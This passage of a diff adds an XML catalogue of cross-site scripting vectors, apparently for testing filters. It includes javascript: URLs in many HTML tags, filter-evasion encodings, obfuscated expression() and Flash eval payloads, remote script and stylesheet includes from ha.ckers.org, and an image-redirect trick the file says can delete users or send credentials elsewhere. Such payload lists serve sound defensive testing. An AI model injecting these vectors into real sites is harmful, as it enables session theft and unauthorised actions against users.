+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>FRAME</name> 
+		<code>&lt;FRAMESET&gt;&lt;FRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/FRAMESET&gt;</code> 
+		<desc>Frame (Frames have the same sorts of XSS problems as iframes).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IFRAME</name> 
+		<code>&lt;IFRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/IFRAME&gt;</code> 
+		<desc>Iframe (If iframes are allowed there are a lot of other XSS problems as well).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>INPUT Image</name> 
+		<code>&lt;INPUT TYPE=&quot;IMAGE&quot; SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>INPUT Image</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>	
+	</attack> 
+	<attack> 
+		<name>IMG w/JavaScript Directive</name> 
+		<code>&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Image XSS using the JavaScript directive.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG No Quotes/Semicolon</name> 
+		<code>&lt;IMG SRC=javascript:alert(&apos;XSS&apos;)&gt;</code> 
+		<desc>No quotes and no semicolon</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG Dynsrc</name> 
+		<code>&lt;IMG DYNSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>IMG Dynsrc</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG Lowsrc</name> 
+		<code>&lt;IMG LOWSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>IMG Lowsrc</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG Embedded commands 1</name> 
+		<code>&lt;IMG SRC=&quot;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&quot;&gt;</code> 
+		<desc>This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain.  This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc...  This is one of the lesser used but more useful XSS vectors.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG Embedded commands 2</name> 
+		<code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;deleteuser</code> 
+		<desc>IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &lt;IMG SRC=&quot;http://badguy.com/a.jpg&quot;&gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG STYLE w/expression</name> 
+		<code>exp/*&lt;XSS STYLE=&apos;no\xss:noxss(&quot;*//*&quot;);
+xss:&amp;#101;x&amp;#x2F;*XSS*//*/*/pression(alert(&quot;XSS&quot;))&apos;&gt;</code> 
+		<desc>IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>List-style-image</name> 
+		<code>&lt;STYLE&gt;li {list-style-image: url(&quot;javascript:alert(&#39;XSS&#39;)&quot;);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS</code> 
+		<desc>Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG w/VBscript</name> 
+		<code>&lt;IMG SRC=&apos;vbscript:msgbox(&quot;XSS&quot;)&apos;&gt;</code> 
+		<desc>VBscript in an image</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>LAYER</name> 
+		<code>&lt;LAYER SRC=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/LAYER&gt;</code> 
+		<desc>Layer (Older Netscape only)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Livescript</name> 
+		<code>&lt;IMG SRC=&quot;livescript:[code]&quot;&gt;</code> 
+		<desc>Livescript (Older Netscape only)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>US-ASCII encoding</name> 
+		<code>%BCscript%BEalert(%A2XSS%A2)%BC/script%BE</code> 
+		<desc>Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8.  This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself.  This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion.  Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>META</name> 
+		<code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>The odd thing about meta refresh is that it doesn&apos;t send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>META w/data:URL</name> 
+		<code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&gt;</code> 
+		<desc>This is nice because it also doesn&apos;t have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>META w/additional URL parameter</name> 
+		<code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0; URL=http://;URL=javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Meta with additional URL parameter. If the target website attempts to see if the URL contains an &quot;http://&quot; you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Mocha</name> 
+		<code>&lt;IMG SRC=&quot;mocha:[code]&quot;&gt;</code> 
+		<desc>Mocha (Older Netscape only)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>OBJECT</name> 
+		<code>&lt;OBJECT TYPE=&quot;text/x-scriptlet&quot; DATA=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/OBJECT&gt;</code> 
+		<desc>If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>OBJECT w/Embedded XSS</name> 
+		<code>&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert(&apos;XSS&apos;)&gt;&lt;/OBJECT&gt;</code> 
+		<desc>Using an OBJECT tag you can embed XSS directly (this is unverified).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support:</browser> 
+	</attack> 
+	<attack> 
+		<name>Embed Flash</name> 
+		<code>&lt;EMBED SRC=&quot;http://ha.ckers.org/xss.swf&quot; AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;</code> 
+		<desc>Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess=&quot;never&quot; and allownetworking=&quot;internal&quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>OBJECT w/Flash 2</name> 
+		<code>a=&quot;get&quot;;&amp;#10;b=&quot;URL(&quot;&quot;;&amp;#10;c=&quot;javascript:&quot;;&amp;#10;d=&quot;alert(&apos;XSS&apos;);&quot;)&quot;;&#10;eval(a+b+c+d);</code> 
+		<desc>Using this action script inside flash can obfuscate your XSS vector.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE</name> 
+		<code>&lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert(&apos;XSS&apos;);&lt;/STYLE&gt;</code> 
+		<desc>STYLE tag (Older versions of Netscape only)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE w/Comment</name> 
+		<code>&lt;IMG STYLE=&quot;xss:expr/*XSS*/ession(alert(&apos;XSS&apos;))&quot;&gt;</code> 
+		<desc>STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE w/Anonymous HTML</name> 
+		<code>&lt;XSS STYLE=&quot;xss:expression(alert(&apos;XSS&apos;))&quot;&gt;</code> 
+		<desc>Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don&apos;t really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE w/background-image</name> 
+		<code>&lt;STYLE&gt;.XSS{background-image:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;);}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;</code> 
+		<desc>STYLE tag using background-image.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE w/background</name> 
+		<code>&lt;STYLE type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;)}&lt;/STYLE&gt;</code> 
+		<desc>STYLE tag using background.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Stylesheet</name> 
+		<code>&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Stylesheet</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Remote Stylesheet 1</name> 
+		<code>&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;http://ha.ckers.org/xss.css&quot;&gt;</code> 
+		<desc>Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode.  Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won&apos;t work unless there is some content on the page other than the vector itself, so you&apos;ll need to add a single letter to the page to make it work if it&apos;s an otherwise blank page.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Remote Stylesheet 2</name> 
+		<code>&lt;STYLE&gt;@import&apos;http://ha.ckers.org/xss.css&apos;;&lt;/STYLE&gt;</code> 
+		<desc>Remote style sheet part 2 (this works the same as above, but uses a &lt;STYLE&gt; tag instead of a &lt;LINK&gt; tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html.  As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it.  This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Remote Stylesheet 3</name> 
+		<code>&lt;META HTTP-EQUIV=&quot;Link&quot; Content=&quot;&lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet&quot;&gt;</code> 
+		<desc>Remote style sheet part 3. This only works in Opera but is fairly tricky.  Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera).  The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Remote Stylesheet 4</name> 
+		<code>&lt;STYLE&gt;BODY{-moz-binding:url(&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;)}&lt;/STYLE&gt;</code> 
+		<desc>Remote style sheet part 4.  This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>TABLE</name> 
+		<code>&lt;TABLE BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TABLE&gt;</code> 
+		<desc>Table background (who would have thought tables were XSS targets... except me, of course).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>TD</name> 
+		<code>&lt;TABLE&gt;&lt;TD BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TD&gt;&lt;/TABLE&gt;</code> 
+		<desc>TD background.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XML namespace</name> 
+		<code>&lt;HTML xmlns:xss&gt;
+&lt;?import namespace=&quot;xss&quot; implementation=&quot;http://ha.ckers.org/xss.htc&quot;&gt;
+&lt;xss:xss&gt;XSS&lt;/xss:xss&gt;
+&lt;/HTML&gt;</code> 
+		<desc>XML namespace. The .htc file must be located on the server as your XSS vector.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XML data island w/CDATA</name> 
+		<code>&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC=&quot;javas]]&gt;&lt;![CDATA[cript:alert(&apos;XSS&apos;);&quot;&gt;]]&gt;
+&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;</code> 
+		<desc>XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.</desc> 
+		<label>HTML Element Attacks</label> 
